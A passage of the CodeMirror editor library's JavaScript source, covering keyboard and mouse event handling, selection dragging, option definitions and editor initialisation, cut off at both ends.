(cm.state.keySeq == seq) {\n        cm.state.keySeq = null;\n        cm.display.input.reset();\n      }\n    });\n    name = seq + \" \" + name;\n  }\n  var result = lookupKeyForEditor(cm, name, handle);\n\n  if (result == \"multi\")\n    { cm.state.keySeq = name; }\n  if (result == \"handled\")\n    { signalLater(cm, \"keyHandled\", cm, name, e); }\n\n  if (result == \"handled\" || result == \"multi\") {\n    e_preventDefault(e);\n    restartBlink(cm);\n  }\n\n  if (seq && !result && /\\'$/.test(name)) {\n    e_preventDefault(e);\n    return true\n  }\n  return !!result\n}\n\n// Handle a key from the keydown event.\nfunction handleKeyBinding(cm, e) {\n  var name = keyName(e, true);\n  if (!name) { return false }\n\n  if (e.shiftKey && !cm.state.keySeq) {\n    // First try to resolve full name (including 'Shift-'). Failing\n    // that, see if there is a cursor-motion command (starting with\n    // 'go') bound to the keyname without 'Shift-'.\n    return dispatchKey(cm, \"Shift-\" + name, e, function (b) { return doHandleBinding(cm, b, true); })\n        || dispatchKey(cm, name, e, function (b) {\n             if (typeof b == \"string\" ? /^go[A-Z]/.test(b) : b.motion)\n               { return doHandleBinding(cm, b) }\n           })\n  } else {\n    return dispatchKey(cm, name, e, function (b) { return doHandleBinding(cm, b); })\n  }\n}\n\n// Handle a key from the keypress event\nfunction handleCharBinding(cm, e, ch) {\n  return dispatchKey(cm, \"'\" + ch + \"'\", e, function (b) { return doHandleBinding(cm, b, true); })\n}\n\nvar lastStoppedKey = null;\nfunction onKeyDown(e) {\n  var cm = this;\n  cm.curOp.focus = activeElt();\n  if (signalDOMEvent(cm, e)) { return }\n  // IE does strange things with escape.\n  if (ie && ie_version < 11 && e.keyCode == 27) { e.returnValue = false; }\n  var code = e.keyCode;\n  cm.display.shift = code == 16 || e.shiftKey;\n  var handled = handleKeyBinding(cm, e);\n  if (presto) {\n    lastStoppedKey = handled ? code : null;\n    // Opera has no cut event... we try to at least catch the key combo\n    if (!handled && code == 88 && !hasCopyEvent && (mac ? e.metaKey : e.ctrlKey))\n      { cm.replaceSelection(\"\", null, \"cut\"); }\n  }\n\n  // Turn mouse into crosshair when Alt is held on Mac.\n  if (code == 18 && !/\\bCodeMirror-crosshair\\b/.test(cm.display.lineDiv.className))\n    { showCrossHair(cm); }\n}\n\nfunction showCrossHair(cm) {\n  var lineDiv = cm.display.lineDiv;\n  addClass(lineDiv, \"CodeMirror-crosshair\");\n\n  function up(e) {\n    if (e.keyCode == 18 || !e.altKey) {\n      rmClass(lineDiv, \"CodeMirror-crosshair\");\n      off(document, \"keyup\", up);\n      off(document, \"mouseover\", up);\n    }\n  }\n  on(document, \"keyup\", up);\n  on(document, \"mouseover\", up);\n}\n\nfunction onKeyUp(e) {\n  if (e.keyCode == 16) { this.doc.sel.shift = false; }\n  signalDOMEvent(this, e);\n}\n\nfunction onKeyPress(e) {\n  var cm = this;\n  if (eventInWidget(cm.display, e) || signalDOMEvent(cm, e) || e.ctrlKey && !e.altKey || mac && e.metaKey) { return }\n  var keyCode = e.keyCode, charCode = e.charCode;\n  if (presto && keyCode == lastStoppedKey) {lastStoppedKey = null; e_preventDefault(e); return}\n  if ((presto && (!e.which || e.which < 10)) && handleKeyBinding(cm, e)) { return }\n  var ch = String.fromCharCode(charCode == null ? keyCode : charCode);\n  // Some browsers fire keypress events for backspace\n  if (ch == \"\\x08\") { return }\n  if (handleCharBinding(cm, e, ch)) { return }\n  cm.display.input.onKeyPress(e);\n}\n\nvar DOUBLECLICK_DELAY = 400;\n\nvar PastClick = function(time, pos, button) {\n  this.time = time;\n  this.pos = pos;\n  this.button = button;\n};\n\nPastClick.prototype.compare = function (time, pos, button) {\n  return this.time + DOUBLECLICK_DELAY > time &&\n    cmp(pos, this.pos) == 0 && button == this.button\n};\n\nvar lastClick;\nvar lastDoubleClick;\nfunction clickRepeat(pos, button) {\n  var now = +new Date;\n  if (lastDoubleClick && lastDoubleClick.compare(now, pos, button)) {\n    lastClick = lastDoubleClick = null;\n    return \"triple\"\n  } else if (lastClick && lastClick.compare(now, pos, button)) {\n    lastDoubleClick = new PastClick(now, pos, button);\n    lastClick = null;\n    return \"double\"\n  } else {\n    lastClick = new PastClick(now, pos, button);\n    lastDoubleClick = null;\n    return \"single\"\n  }\n}\n\n// A mouse down can be a single click, double click, triple click,\n// start of selection drag, start of text drag, new cursor\n// (ctrl-click), rectangle drag (alt-drag), or xwin\n// middle-click-paste. Or it might be a click on something we should\n// not interfere with, such as a scrollbar or widget.\nfunction onMouseDown(e) {\n  var cm = this, display = cm.display;\n  if (signalDOMEvent(cm, e) || display.activeTouch && display.input.supportsTouch()) { return }\n  display.input.ensurePolled();\n  display.shift = e.shiftKey;\n\n  if (eventInWidget(display, e)) {\n    if (!webkit) {\n      // Briefly turn off draggability, to allow widgets to do\n      // normal dragging things.\n      display.scroller.draggable = false;\n      setTimeout(function () { return display.scroller.draggable = true; }, 100);\n    }\n    return\n  }\n  if (clickInGutter(cm, e)) { return }\n  var pos = posFromMouse(cm, e), button = e_button(e), repeat = pos ? clickRepeat(pos, button) : \"single\";\n  window.focus();\n\n  // #3261: make sure, that we're not starting a second selection\n  if (button == 1 && cm.state.selectingText)\n    { cm.state.selectingText(e); }\n\n  if (pos && handleMappedButton(cm, button, pos, repeat, e)) { return }\n\n  if (button == 1) {\n    if (pos) { leftButtonDown(cm, pos, repeat, e); }\n    else if (e_target(e) == display.scroller) { e_preventDefault(e); }\n  } else if (button == 2) {\n    if (pos) { extendSelection(cm.doc, pos); }\n    setTimeout(function () { return display.input.focus(); }, 20);\n  } else if (button == 3) {\n    if (captureRightClick) { onContextMenu(cm, e); }\n    else { delayBlurEvent(cm); }\n  }\n}\n\nfunction handleMappedButton(cm, button, pos, repeat, event) {\n  var name = \"Click\";\n  if (repeat == \"double\") { name = \"Double\" + name; }\n  else if (repeat == \"triple\") { name = \"Triple\" + name; }\n  name = (button == 1 ? \"Left\" : button == 2 ? \"Middle\" : \"Right\") + name;\n\n  return dispatchKey(cm,  addModifierNames(name, event), event, function (bound) {\n    if (typeof bound == \"string\") { bound = commands[bound]; }\n    if (!bound) { return false }\n    var done = false;\n    try {\n      if (cm.isReadOnly()) { cm.state.suppressEdits = true; }\n      done = bound(cm, pos) != Pass;\n    } finally {\n      cm.state.suppressEdits = false;\n    }\n    return done\n  })\n}\n\nfunction configureMouse(cm, repeat, event) {\n  var option = cm.getOption(\"configureMouse\");\n  var value = option ? option(cm, repeat, event) : {};\n  if (value.unit == null) {\n    var rect = chromeOS ? event.shiftKey && event.metaKey : event.altKey;\n    value.unit = rect ? \"rectangle\" : repeat == \"single\" ? \"char\" : repeat == \"double\" ? \"word\" : \"line\";\n  }\n  if (value.extend == null || cm.doc.extend) { value.extend = cm.doc.extend || event.shiftKey; }\n  if (value.addNew == null) { value.addNew = mac ? event.metaKey : event.ctrlKey; }\n  if (value.moveOnDrag == null) { value.moveOnDrag = !(mac ? event.altKey : event.ctrlKey); }\n  return value\n}\n\nfunction leftButtonDown(cm, pos, repeat, event) {\n  if (ie) { setTimeout(bind(ensureFocus, cm), 0); }\n  else { cm.curOp.focus = activeElt(); }\n\n  var behavior = configureMouse(cm, repeat, event);\n\n  var sel = cm.doc.sel, contained;\n  if (cm.options.dragDrop && dragAndDrop && !cm.isReadOnly() &&\n      repeat == \"single\" && (contained = sel.contains(pos)) > -1 &&\n      (cmp((contained = sel.ranges[contained]).from(), pos) < 0 || pos.xRel > 0) &&\n      (cmp(contained.to(), pos) > 0 || pos.xRel < 0))\n    { leftButtonStartDrag(cm, event, pos, behavior); }\n  else\n    { leftButtonSelect(cm, event, pos, behavior); }\n}\n\n// Start a text drag. When it ends, see if any dragging actually\n// happen, and treat as a click if it didn't.\nfunction leftButtonStartDrag(cm, event, pos, behavior) {\n  var display = cm.display, moved = false;\n  var dragEnd = operation(cm, function (e) {\n    if (webkit) { display.scroller.draggable = false; }\n    cm.state.draggingText = false;\n    off(document, \"mouseup\", dragEnd);\n    off(document, \"mousemove\", mouseMove);\n    off(display.scroller, \"dragstart\", dragStart);\n    off(display.scroller, \"drop\", dragEnd);\n    if (!moved) {\n      e_preventDefault(e);\n      if (!behavior.addNew)\n        { extendSelection(cm.doc, pos, null, null, behavior.extend); }\n      // Work around unexplainable focus problem in IE9 (#2127) and Chrome (#3081)\n      if (webkit || ie && ie_version == 9)\n        { setTimeout(function () {document.body.focus(); display.input.focus();}, 20); }\n      else\n        { display.input.focus(); }\n    }\n  });\n  var mouseMove = function(e2) {\n    moved = moved || Math.abs(event.clientX - e2.clientX) + Math.abs(event.clientY - e2.clientY) >= 10;\n  };\n  var dragStart = function () { return moved = true; };\n  // Let the drag handler handle this.\n  if (webkit) { display.scroller.draggable = true; }\n  cm.state.draggingText = dragEnd;\n  dragEnd.copy = !behavior.moveOnDrag;\n  // IE's approach to draggable\n  if (display.scroller.dragDrop) { display.scroller.dragDrop(); }\n  on(document, \"mouseup\", dragEnd);\n  on(document, \"mousemove\", mouseMove);\n  on(display.scroller, \"dragstart\", dragStart);\n  on(display.scroller, \"drop\", dragEnd);\n\n  delayBlurEvent(cm);\n  setTimeout(function () { return display.input.focus(); }, 20);\n}\n\nfunction rangeForUnit(cm, pos, unit) {\n  if (unit == \"char\") { return new Range(pos, pos) }\n  if (unit == \"word\") { return cm.findWordAt(pos) }\n  if (unit == \"line\") { return new Range(Pos(pos.line, 0), clipPos(cm.doc, Pos(pos.line + 1, 0))) }\n  var result = unit(cm, pos);\n  return new Range(result.from, result.to)\n}\n\n// Normal selection, as opposed to text dragging.\nfunction leftButtonSelect(cm, event, start, behavior) {\n  var display = cm.display, doc = cm.doc;\n  e_preventDefault(event);\n\n  var ourRange, ourIndex, startSel = doc.sel, ranges = startSel.ranges;\n  if (behavior.addNew && !behavior.extend) {\n    ourIndex = doc.sel.contains(start);\n    if (ourIndex > -1)\n      { ourRange = ranges[ourIndex]; }\n    else\n      { ourRange = new Range(start, start); }\n  } else {\n    ourRange = doc.sel.primary();\n    ourIndex = doc.sel.primIndex;\n  }\n\n  if (behavior.unit == \"rectangle\") {\n    if (!behavior.addNew) { ourRange = new Range(start, start); }\n    start = posFromMouse(cm, event, true, true);\n    ourIndex = -1;\n  } else {\n    var range$$1 = rangeForUnit(cm, start, behavior.unit);\n    if (behavior.extend)\n      { ourRange = extendRange(ourRange, range$$1.anchor, range$$1.head, behavior.extend); }\n    else\n      { ourRange = range$$1; }\n  }\n\n  if (!behavior.addNew) {\n    ourIndex = 0;\n    setSelection(doc, new Selection([ourRange], 0), sel_mouse);\n    startSel = doc.sel;\n  } else if (ourIndex == -1) {\n    ourIndex = ranges.length;\n    setSelection(doc, normalizeSelection(ranges.concat([ourRange]), ourIndex),\n                 {scroll: false, origin: \"*mouse\"});\n  } else if (ranges.length > 1 && ranges[ourIndex].empty() && behavior.unit == \"char\" && !behavior.extend) {\n    setSelection(doc, normalizeSelection(ranges.slice(0, ourIndex).concat(ranges.slice(ourIndex + 1)), 0),\n                 {scroll: false, origin: \"*mouse\"});\n    startSel = doc.sel;\n  } else {\n    replaceOneSelection(doc, ourIndex, ourRange, sel_mouse);\n  }\n\n  var lastPos = start;\n  function extendTo(pos) {\n    if (cmp(lastPos, pos) == 0) { return }\n    lastPos = pos;\n\n    if (behavior.unit == \"rectangle\") {\n      var ranges = [], tabSize = cm.options.tabSize;\n      var startCol = countColumn(getLine(doc, start.line).text, start.ch, tabSize);\n      var posCol = countColumn(getLine(doc, pos.line).text, pos.ch, tabSize);\n      var left = Math.min(startCol, posCol), right = Math.max(startCol, posCol);\n      for (var line = Math.min(start.line, pos.line), end = Math.min(cm.lastLine(), Math.max(start.line, pos.line));\n           line <= end; line++) {\n        var text = getLine(doc, line).text, leftPos = findColumn(text, left, tabSize);\n        if (left == right)\n          { ranges.push(new Range(Pos(line, leftPos), Pos(line, leftPos))); }\n        else if (text.length > leftPos)\n          { ranges.push(new Range(Pos(line, leftPos), Pos(line, findColumn(text, right, tabSize)))); }\n      }\n      if (!ranges.length) { ranges.push(new Range(start, start)); }\n      setSelection(doc, normalizeSelection(startSel.ranges.slice(0, ourIndex).concat(ranges), ourIndex),\n                   {origin: \"*mouse\", scroll: false});\n      cm.scrollIntoView(pos);\n    } else {\n      var oldRange = ourRange;\n      var range$$1 = rangeForUnit(cm, pos, behavior.unit);\n      var anchor = oldRange.anchor, head;\n      if (cmp(range$$1.anchor, anchor) > 0) {\n        head = range$$1.head;\n        anchor = minPos(oldRange.from(), range$$1.anchor);\n      } else {\n        head = range$$1.anchor;\n        anchor = maxPos(oldRange.to(), range$$1.head);\n      }\n      var ranges$1 = startSel.ranges.slice(0);\n      ranges$1[ourIndex] = new Range(clipPos(doc, anchor), head);\n      setSelection(doc, normalizeSelection(ranges$1, ourIndex), sel_mouse);\n    }\n  }\n\n  var editorSize = display.wrapper.getBoundingClientRect();\n  // Used to ensure timeout re-tries don't fire when another extend\n  // happened in the meantime (clearTimeout isn't reliable -- at\n  // least on Chrome, the timeouts still happen even when cleared,\n  // if the clear happens after their scheduled firing time).\n  var counter = 0;\n\n  function extend(e) {\n    var curCount = ++counter;\n    var cur = posFromMouse(cm, e, true, behavior.unit == \"rectangle\");\n    if (!cur) { return }\n    if (cmp(cur, lastPos) != 0) {\n      cm.curOp.focus = activeElt();\n      extendTo(cur);\n      var visible = visibleLines(display, doc);\n      if (cur.line >= visible.to || cur.line < visible.from)\n        { setTimeout(operation(cm, function () {if (counter == curCount) { extend(e); }}), 150); }\n    } else {\n      var outside = e.clientY < editorSize.top ? -20 : e.clientY > editorSize.bottom ? 20 : 0;\n      if (outside) { setTimeout(operation(cm, function () {\n        if (counter != curCount) { return }\n        display.scroller.scrollTop += outside;\n        extend(e);\n      }), 50); }\n    }\n  }\n\n  function done(e) {\n    cm.state.selectingText = false;\n    counter = Infinity;\n    e_preventDefault(e);\n    display.input.focus();\n    off(document, \"mousemove\", move);\n    off(document, \"mouseup\", up);\n    doc.history.lastSelOrigin = null;\n  }\n\n  var move = operation(cm, function (e) {\n    if (!e_button(e)) { done(e); }\n    else { extend(e); }\n  });\n  var up = operation(cm, done);\n  cm.state.selectingText = up;\n  on(document, \"mousemove\", move);\n  on(document, \"mouseup\", up);\n}\n\n\n// Determines whether an event happened in the gutter, and fires the\n// handlers for the corresponding event.\nfunction gutterEvent(cm, e, type, prevent) {\n  var mX, mY;\n  try { mX = e.clientX; mY = e.clientY; }\n  catch(e) { return false }\n  if (mX >= Math.floor(cm.display.gutters.getBoundingClientRect().right)) { return false }\n  if (prevent) { e_preventDefault(e); }\n\n  var display = cm.display;\n  var lineBox = display.lineDiv.getBoundingClientRect();\n\n  if (mY > lineBox.bottom || !hasHandler(cm, type)) { return e_defaultPrevented(e) }\n  mY -= lineBox.top - display.viewOffset;\n\n  for (var i = 0; i < cm.options.gutters.length; ++i) {\n    var g = display.gutters.childNodes[i];\n    if (g && g.getBoundingClientRect().right >= mX) {\n      var line = lineAtHeight(cm.doc, mY);\n      var gutter = cm.options.gutters[i];\n      signal(cm, type, cm, line, gutter, e);\n      return e_defaultPrevented(e)\n    }\n  }\n}\n\nfunction clickInGutter(cm, e) {\n  return gutterEvent(cm, e, \"gutterClick\", true)\n}\n\n// CONTEXT MENU HANDLING\n\n// To make the context menu work, we need to briefly unhide the\n// textarea (making it as unobtrusive as possible) to let the\n// right-click take effect on it.\nfunction onContextMenu(cm, e) {\n  if (eventInWidget(cm.display, e) || contextMenuInGutter(cm, e)) { return }\n  if (signalDOMEvent(cm, e, \"contextmenu\")) { return }\n  cm.display.input.onContextMenu(e);\n}\n\nfunction contextMenuInGutter(cm, e) {\n  if (!hasHandler(cm, \"gutterContextMenu\")) { return false }\n  return gutterEvent(cm, e, \"gutterContextMenu\", false)\n}\n\nfunction themeChanged(cm) {\n  cm.display.wrapper.className = cm.display.wrapper.className.replace(/\\s*cm-s-\\S+/g, \"\") +\n    cm.options.theme.replace(/(^|\\s)\\s*/g, \" cm-s-\");\n  clearCaches(cm);\n}\n\nvar Init = {toString: function(){return \"CodeMirror.Init\"}};\n\nvar defaults = {};\nvar optionHandlers = {};\n\nfunction defineOptions(CodeMirror) {\n  var optionHandlers = CodeMirror.optionHandlers;\n\n  function option(name, deflt, handle, notOnInit) {\n    CodeMirror.defaults[name] = deflt;\n    if (handle) { optionHandlers[name] =\n      notOnInit ? function (cm, val, old) {if (old != Init) { handle(cm, val, old); }} : handle; }\n  }\n\n  CodeMirror.defineOption = option;\n\n  // Passed to option handlers when there is no old value.\n  CodeMirror.Init = Init;\n\n  // These two are, on init, called from the constructor because they\n  // have to be initialized before the editor can start at all.\n  option(\"value\", \"\", function (cm, val) { return cm.setValue(val); }, true);\n  option(\"mode\", null, function (cm, val) {\n    cm.doc.modeOption = val;\n    loadMode(cm);\n  }, true);\n\n  option(\"indentUnit\", 2, loadMode, true);\n  option(\"indentWithTabs\", false);\n  option(\"smartIndent\", true);\n  option(\"tabSize\", 4, function (cm) {\n    resetModeState(cm);\n    clearCaches(cm);\n    regChange(cm);\n  }, true);\n  option(\"lineSeparator\", null, function (cm, val) {\n    cm.doc.lineSep = val;\n    if (!val) { return }\n    var newBreaks = [], lineNo = cm.doc.first;\n    cm.doc.iter(function (line) {\n      for (var pos = 0;;) {\n        var found = line.text.indexOf(val, pos);\n        if (found == -1) { break }\n        pos = found + val.length;\n        newBreaks.push(Pos(lineNo, found));\n      }\n      lineNo++;\n    });\n    for (var i = newBreaks.length - 1; i >= 0; i--)\n      { replaceRange(cm.doc, val, newBreaks[i], Pos(newBreaks[i].line, newBreaks[i].ch + val.length)); }\n  });\n  option(\"specialChars\", /[\\u0000-\\u001f\\u007f-\\u009f\\u00ad\\u061c\\u200b-\\u200f\\u2028\\u2029\\ufeff]/g, function (cm, val, old) {\n    cm.state.specialChars = new RegExp(val.source + (val.test(\"\\t\") ? \"\" : \"|\\t\"), \"g\");\n    if (old != Init) { cm.refresh(); }\n  });\n  option(\"specialCharPlaceholder\", defaultSpecialCharPlaceholder, function (cm) { return cm.refresh(); }, true);\n  option(\"electricChars\", true);\n  option(\"inputStyle\", mobile ? \"contenteditable\" : \"textarea\", function () {\n    throw new Error(\"inputStyle can not (yet) be changed in a running editor\") // FIXME\n  }, true);\n  option(\"spellcheck\", false, function (cm, val) { return cm.getInputField().spellcheck = val; }, true);\n  option(\"rtlMoveVisually\", !windows);\n  option(\"wholeLineUpdateBefore\", true);\n\n  option(\"theme\", \"default\", function (cm) {\n    themeChanged(cm);\n    guttersChanged(cm);\n  }, true);\n  option(\"keyMap\", \"default\", function (cm, val, old) {\n    var next = getKeyMap(val);\n    var prev = old != Init && getKeyMap(old);\n    if (prev && prev.detach) { prev.detach(cm, next); }\n    if (next.attach) { next.attach(cm, prev || null); }\n  });\n  option(\"extraKeys\", null);\n  option(\"configureMouse\", null);\n\n  option(\"lineWrapping\", false, wrappingChanged, true);\n  option(\"gutters\", [], function (cm) {\n    setGuttersForLineNumbers(cm.options);\n    guttersChanged(cm);\n  }, true);\n  option(\"fixedGutter\", true, function (cm, val) {\n    cm.display.gutters.style.left = val ? compensateForHScroll(cm.display) + \"px\" : \"0\";\n    cm.refresh();\n  }, true);\n  option(\"coverGutterNextToScrollbar\", false, function (cm) { return updateScrollbars(cm); }, true);\n  option(\"scrollbarStyle\", \"native\", function (cm) {\n    initScrollbars(cm);\n    updateScrollbars(cm);\n    cm.display.scrollbars.setScrollTop(cm.doc.scrollTop);\n    cm.display.scrollbars.setScrollLeft(cm.doc.scrollLeft);\n  }, true);\n  option(\"lineNumbers\", false, function (cm) {\n    setGuttersForLineNumbers(cm.options);\n    guttersChanged(cm);\n  }, true);\n  option(\"firstLineNumber\", 1, guttersChanged, true);\n  option(\"lineNumberFormatter\", function (integer) { return integer; }, guttersChanged, true);\n  option(\"showCursorWhenSelecting\", false, updateSelection, true);\n\n  option(\"resetSelectionOnContextMenu\", true);\n  option(\"lineWiseCopyCut\", true);\n  option(\"pasteLinesPerSelection\", true);\n\n  option(\"readOnly\", false, function (cm, val) {\n    if (val == \"nocursor\") {\n      onBlur(cm);\n      cm.display.input.blur();\n    }\n    cm.display.input.readOnlyChanged(val);\n  });\n  option(\"disableInput\", false, function (cm, val) {if (!val) { cm.display.input.reset(); }}, true);\n  option(\"dragDrop\", true, dragDropChanged);\n  option(\"allowDropFileTypes\", null);\n\n  option(\"cursorBlinkRate\", 530);\n  option(\"cursorScrollMargin\", 0);\n  option(\"cursorHeight\", 1, updateSelection, true);\n  option(\"singleCursorHeightPerLine\", true, updateSelection, true);\n  option(\"workTime\", 100);\n  option(\"workDelay\", 100);\n  option(\"flattenSpans\", true, resetModeState, true);\n  option(\"addModeClass\", false, resetModeState, true);\n  option(\"pollInterval\", 100);\n  option(\"undoDepth\", 200, function (cm, val) { return cm.doc.history.undoDepth = val; });\n  option(\"historyEventDelay\", 1250);\n  option(\"viewportMargin\", 10, function (cm) { return cm.refresh(); }, true);\n  option(\"maxHighlightLength\", 10000, resetModeState, true);\n  option(\"moveInputWithCursor\", true, function (cm, val) {\n    if (!val) { cm.display.input.resetPosition(); }\n  });\n\n  option(\"tabindex\", null, function (cm, val) { return cm.display.input.getField().tabIndex = val || \"\"; });\n  option(\"autofocus\", null);\n  option(\"direction\", \"ltr\", function (cm, val) { return cm.doc.setDirection(val); }, true);\n}\n\nfunction guttersChanged(cm) {\n  updateGutters(cm);\n  regChange(cm);\n  alignHorizontally(cm);\n}\n\nfunction dragDropChanged(cm, value, old) {\n  var wasOn = old && old != Init;\n  if (!value != !wasOn) {\n    var funcs = cm.display.dragFunctions;\n    var toggle = value ? on : off;\n    toggle(cm.display.scroller, \"dragstart\", funcs.start);\n    toggle(cm.display.scroller, \"dragenter\", funcs.enter);\n    toggle(cm.display.scroller, \"dragover\", funcs.over);\n    toggle(cm.display.scroller, \"dragleave\", funcs.leave);\n    toggle(cm.display.scroller, \"drop\", funcs.drop);\n  }\n}\n\nfunction wrappingChanged(cm) {\n  if (cm.options.lineWrapping) {\n    addClass(cm.display.wrapper, \"CodeMirror-wrap\");\n    cm.display.sizer.style.minWidth = \"\";\n    cm.display.sizerWidth = null;\n  } else {\n    rmClass(cm.display.wrapper, \"CodeMirror-wrap\");\n    findMaxLine(cm);\n  }\n  estimateLineHeights(cm);\n  regChange(cm);\n  clearCaches(cm);\n  setTimeout(function () { return updateScrollbars(cm); }, 100);\n}\n\n// A CodeMirror instance represents an editor. This is the object\n// that user code is usually dealing with.\n\nfunction CodeMirror$1(place, options) {\n  var this$1 = this;\n\n  if (!(this instanceof CodeMirror$1)) { return new CodeMirror$1(place, options) }\n\n  this.options = options = options ? copyObj(options) : {};\n  // Determine effective options based on given values and defaults.\n  copyObj(defaults, options, false);\n  setGuttersForLineNumbers(options);\n\n  var doc = options.value;\n  if (typeof doc == \"string\") { doc = new Doc(doc, options.mode, null, options.lineSeparator, options.direction); }\n  this.doc = doc;\n\n  var input = new CodeMirror$1.inputStyles[options.inputStyle](this);\n  var display = this.display = new Display(place, doc, input);\n  display.wrapper.CodeMirror = this;\n  updateGutters(this);\n  themeChanged(this);\n  if (options.lineWrapping)\n    { this.display.wrapper.className += \" CodeMirror-wrap\"; }\n  initScrollbars(this);\n\n  this.state = {\n    keyMaps: [],  // stores maps added by addKeyMap\n    overlays: [], // highlighting overlays, as added by addOverlay\n    modeGen: 0,   // bumped when mode/overlay changes, used to invalidate highlighting info\n    overwrite: false,\n    delayingBlurEvent: false,\n    focused: false,\n    suppressEdits: false, // used to disable editing during key handlers when in readOnly mode\n    pasteIncoming: false, cutIncoming: false, // help recognize paste/cut edits in input.poll\n    selectingText: false,\n    draggingText: false,\n    highlight: new Delayed(), // stores highlight worker timeout\n    keySeq: null,  // Unfinished key sequence\n    specialChars: null\n  };\n\n  if (options.autofocus && !mobile) { display.input.focus(); }\n\n  // Override magic textarea content restore that IE sometimes does\n  // on our hidden textarea on reload\n  if (ie && ie_version < 11) { setTimeout(function () { return this$1.display.input.reset(true); }, 20); }\n\n  registerEventHandlers(this);\n  ensureGlobalHandlers();\n\n  startOperation(this);\n  this.curOp.forceUpdate = true;\n  attachDoc(this, doc);\n\n  if ((options.autofocus && !mobile) || this.hasFocus())\n    { setTimeout(bind(onFocus, this), 20); }\n  else\n    { onBlur(this); }\n\n  for (var opt in optionHandlers) { if (optionHandlers.hasOwnProperty(opt))\n    { optionHandlers[opt](this$1, options[opt], Init); } }\n  maybeUpdateLineNumberWidth(this);\n  if (options.finishInit) { options.finishInit(this); }\n  for (var i = 0; i < initHooks.length; ++i) { initHooks[i](this$1); }\n  endOperation(this);\n  // Suppress optimizelegibility in Webkit, since it breaks text\n  // measuring on line wrapping boundaries.\n  if (webkit && options.lineWrapping &&\n      getComputedStyle(display.lineDiv).textRendering == \"optimizelegibility\")\n    { display.lineDiv.style.textRendering = \"auto\"; }\n}\n\n// The default configuration options.\nCodeMirror$1.defaults = defaults;\n// Functions to run when options are changed.\nCodeMirror$1.optionHandlers = optionHandlers;\n\n// Attach the necessary event handlers when initializing the editor\nfunction registerEventHandlers(cm) {\n  var d = cm.display;\n  on(d.scroller, \"mousedown\", operation(cm, onMouseDown));\n  // Older IE's will not fire a second mousedown for a double click\n  if (ie && ie_version < 11)\n    { on(d.scroller, \"dblclick\", operation(cm, function (e) {\n      if (signalDOMEvent(cm, e)) { return }\n      var pos = posFromMouse(cm, e);\n      if (!pos || clickInGutter(cm, e) || eventInWidget(cm.display, e)) { return }\n      e_preventDefault(e);\n      var word = cm.findWordAt(pos);\n      extendSelection(cm.doc, word.anchor, word.head);\n    })); }\n  else\n    { on(d.scroller, \"dblclick\", function (e) { return signalDOMEvent(cm, e) || e_preventDefault(e); }); }\n  // Some browsers fire contextmenu *after* opening the menu, at\n  // which point we can't mess with it anymore. Context menu is\n  // handled in onMouseDown for these browsers.\n  if (!captureRightClick) { on(d.scroller, \"contextmenu\", function (e) { return onContextMenu(cm, e); }); }\n\n  // Used to suppress mouse event handling when a touch happens\n  var touchFinished, prevTouch = {end: 0};\n  function finishTouch() {\n    if (d.activeTouch) {\n      touchFinished = setTimeout(function () { return d.activeTouch = null; }, 1000);\n      prevTouch = d.activeTouch;\n      prevTouch.end = +new Date;\n    }\n  }\n  function isMouseLikeTouchEvent(e) {\n    if (e.touches.length != 1) { return false }\n    var touch = e.touches[0];\n    return touch.radiusX <= 1 && touch.radiusY <= 1\n  }\n  function farAway(touch, other) {\n    if (other.left == null) { return true }\n    var dx = other.left - touch.left, dy = other.top - touch.top;\n    return dx * dx + dy * dy > 20 * 20\n  }\n  on(d.scroller, \"touchstart\", function (e) {\n    if (!signalDOMEvent(cm, e) && !isMouseLikeTouchEvent(e)) {\n      d.input.ensurePolled();\n      clearTimeout(touchFinished);\n      var now = +new Date;\n      d.activeTouch = {start: now, moved: false,\n                       prev: now - prevTouch.end <= 300 ? prevTouch : null};\n      if (e.touches.length == 1) {\n        d.activeTouch.left = e.touches[0].pageX;\n        d.activeTouch.top = e.touches[0].pageY;\n      }\n    }\n  });\n  on(d.scroller, \"touchmove\", function () {\n    if (d.activeTouch) { d.activeTouch.moved = true; }\n  });\n  on(d.scroller, \"touchend\", function (e) {\n    var touch = d.activeTouch;\n    if (touch && !eventInWidget(d, e) && touch.left != null &&\n        !touch.moved && new Date - touch.start < 300) {\n      var pos = cm.coordsChar(d.activeTouch, \"page\"), range;\n      if (!touch.prev || farAway(touch, touch.prev)) // Single tap\n        { range = new Range(pos, pos); }\n      else if (!touch.prev.prev || farAway(touch, touch.prev.prev)) // Double tap\n        { range = cm.findWordAt(pos); }\n      else // Triple tap\n        { range = new Range(Pos(pos.line, 0), clipPos(cm.doc, Pos(pos.line + 1, 0))); }\n      cm.setSelection(range.anchor, range.head);\n      cm.focus();\n      e_preventDefault(e);\n    }\n    finishTouch();\n  });\n  on(d.scroller, \"touchcancel\", finishTouch);\n\n  // Sync scrolling between fake scrollbars and real scrollable\n  // area, ensure viewport is updated when scrolling.\n  on(d.scroller, \"scroll\", function () {\n    if (d.scroller.clientHeight) {\n      updateScrollTop(cm, d.scroller.scrollTop);\n      setScrollLeft(cm, d.scroller.scrollLeft, true);\n      signal(cm, \"scroll\", cm);\n    }\n  });\n\n  // Listen to wheel events in order to try and update the viewport on time.\n  on(d.scroller, \"mousewheel\", function (e) { return onScrollWheel(cm, e); });\n  on(d.scroller, \"DOMMouseScroll\", function (e) { return onScrollWheel(cm, e); });\n\n  // Prevent wrapper from ever scrolling\n  on(d.wrapper, \"scroll\", function () { return d.wrapper.scrollTop = d.wrapper.scrollLeft = 0; });\n\n  d.dragFunctions = {\n    enter: function (e) {if (!signalDOMEvent(cm, e)) { e_stop(e); }},\n    over: function (e) {if (!signalDOMEvent(cm, e)) { onDragOver(cm, e); e_stop(e); }},\n    start: function (e) { return onDragStart(cm, e); },\n    drop: operation(cm, onDrop),\n    leave: function (e) {if (!signalDOMEvent(cm, e)) { clearDragCursor(cm); }}\n  };\n\n  var inp = d.input.getField();\n  on(inp, \"keyup\", function (e) { return onKeyUp.call(cm, e); });\n  on(inp, \"keydown\", operation(cm, onKeyDown));\n  on(inp, \"keypress\", operation(cm, onKeyPress));\n  on(inp, \"focus\", function (e) { return onFocus(cm, e); });\n  on(inp, \"blur\", function (e) { return onBlur(cm, e); });\n}\n\nvar initHooks = [];\nCodeMirror$1.defineInitHook = function (f) { return initHooks.push(f); };\n\n// Indent the given line. The how parameter can be \"smart\",\n// \"add\"/null, \"subtract\", or \"prev\". When aggressive is false\n// (typically set to true for forced single-line indents), empty\n// lines are not indented, and places where the mode returns Pass\n// are left alone.\nfunction indentLine(cm, n, how, aggressive) {\n  var doc = cm.doc, state;\n  if (how == null) { how = \"add\"; }\n  if (how == \"smart\") {\n    // Fall back to 